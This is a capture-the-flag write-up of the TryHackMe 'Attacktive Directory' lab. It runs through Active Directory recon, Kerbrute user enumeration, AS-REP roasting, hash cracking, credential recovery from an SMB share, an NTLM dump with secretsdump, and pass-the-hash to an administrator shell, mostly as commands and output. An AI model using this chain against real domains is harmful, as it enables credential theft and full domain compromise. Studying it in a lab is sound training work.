Attacktive Directory
A medium Windows box from TryHackMe, a focus on Active Directory, using various Impacket scripts to AS-REP roast for initial access and pass the hash to get Admin.
Recon
Start with a basic nmap
sudo nmap -sV -sC 10.10.251.124
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-08-06 01:26:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2022-08-05T00:52:20
|_Not valid after: 2023-02-04T00:52:20
| rdp-ntlm-info:
| Target_Name: THM-AD
| NetBIOS_Domain_Name: THM-AD
| NetBIOS_Computer_Name: ATTACKTIVEDIREC
| DNS_Domain_Name: spookysec.local
| DNS_Computer_Name: AttacktiveDirectory.spookysec.local
| Product_Version: 10.0.17763
|_ System_Time: 2022-08-06T01:26:36+00:00
|_ssl-date: 2022-08-06T01:26:45+00:00; +1s from scanner time.
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows
Note that the DNS domain name is spookysec.local and put it with the IP of the box into /etc/hosts
Now running enum4linux for ports 139/445
enum4linux 10.10.251.124
To find the host name, THM-AD
We also know that kerberos is running, based off the presence of the krbtgt user
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
To enumerate more users, run Kerbrute
./kerbrute userenum --dc spookysec.local -d spookysec.local userlist.txt
And find users
2022/08/05 21:29:55 > [+] VALID USERNAME: james@spookysec.local
2022/08/05 21:29:57 > [+] VALID USERNAME: svc-admin@spookysec.local
2022/08/05 21:30:00 > [+] VALID USERNAME: James@spookysec.local
2022/08/05 21:30:02 > [+] VALID USERNAME: robin@spookysec.local
2022/08/05 21:30:13 > [+] VALID USERNAME: darkstar@spookysec.local
2022/08/05 21:30:19 > [+] VALID USERNAME: administrator@spookysec.local
2022/08/05 21:30:31 > [+] VALID USERNAME: backup@spookysec.local
2022/08/05 21:30:36 > [+] VALID USERNAME: paradox@spookysec.local
2022/08/05 21:31:13 > [+] VALID USERNAME: JAMES@spookysec.local
2022/08/05 21:31:27 > [+] VALID USERNAME: Robin@spookysec.local
2022/08/05 21:32:46 > [+] VALID USERNAME: Administrator@spookysec.local
2022/08/05 21:35:23 > [+] VALID USERNAME: Darkstar@spookysec.local
2022/08/05 21:36:17 > [+] VALID USERNAME: Paradox@spookysec.local
2022/08/05 21:39:14 > [+] VALID USERNAME: DARKSTAR@spookysec.local
2022/08/05 21:40:04 > [+] VALID USERNAME: ori@spookysec.local
2022/08/05 21:41:32 > [+] VALID USERNAME: ROBIN@spookysec.local
Of which svc-admin and backup are the most important off the rip
Exploitation
To try and dump their hashes via AS-REP roasting with Impacket
The SVC user is vulnerable, as they dont require preauth
python3 GetNPUsers.py spookysec.local/svc-admin -no-pass
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:303d716b1f7c86eba3d8d040456967e7$30262a3f23ded9e0a1cefc45db60c2ec9995897381eaa48def35930022109148f20c435b96a24a931d0bbd256818bf417614dd383e74a66af6cd92918ee8f5f5247961e8670d4122e43d0aaca0e9bbc09bae327e314d76e8c4e4f5e2e36b05e2bca19d938316f802f490ba65e4219426a48d7ec68167b50e4a766479f1c9b3b59b15ded464fcfcfead235d955195fee3acbec7555ad679bd58f429d2ae3928080693af2a472d2db5aed81a9107a306a502c4282357b425ecf97edc9e5714661170ce4b3d7c475506c1c95572f36340d4713f2912cf70009ecf76ca34d4826f8f301736f4a508699fff62598ce7b9645bd510
But the backup user is not, as they do require preauth
python3 GetNPUsers.py spookysec.local/backup -no-pass
[-] User backup doesn't have UF_DONT_REQUIRE_PREAUTH set
Now cracking the hash with hashcat
hashcat -m 18200 hash.txt passwordlist.txt -O
Get a result of “management2005”
Now with the help of smbclient, can see what is hiding in the smb shares
smbclient -L spookysec.local -U svc-admin
Password for [WORKGROUP\svc-admin]: management2005
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backup Disk
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Logging into the backup share, find a text file with a base64 encoded set of creds
smb: \> ls
. D 0 Sat Apr 4 15:08:39 2020
.. D 0 Sat Apr 4 15:08:39 2020
backup_credentials.txt A 48 Sat Apr 4 15:08:53 2020
smb: \> get backup_credentials.txt
The backup credentials are a base64 encoded string, so to get the plaintext
cat backup_credentials.txt| base64 -d
backup@spookysec.local:backup2517860
So now it seems we have the creds
Assuming that the backup user holds the backup of the domain controller, try to dump the hash of the Administrator account with another script from impacket
python3 secretsdump.py spookysec.local/backup:backup2517860@spookysec.local -just-dc-user Administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Where 0e0363213e37b94221497260b0bcb4fc is the NTLM hash
Lets try a pass the hash technique to get access to the administrator account with evil-winrm
evil-winrm -i spookysec.local -H 0e0363213e37b94221497260b0bcb4fc -u Administrator
And get in with an administrator shell!
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
thm-ad\administrator
```cd ..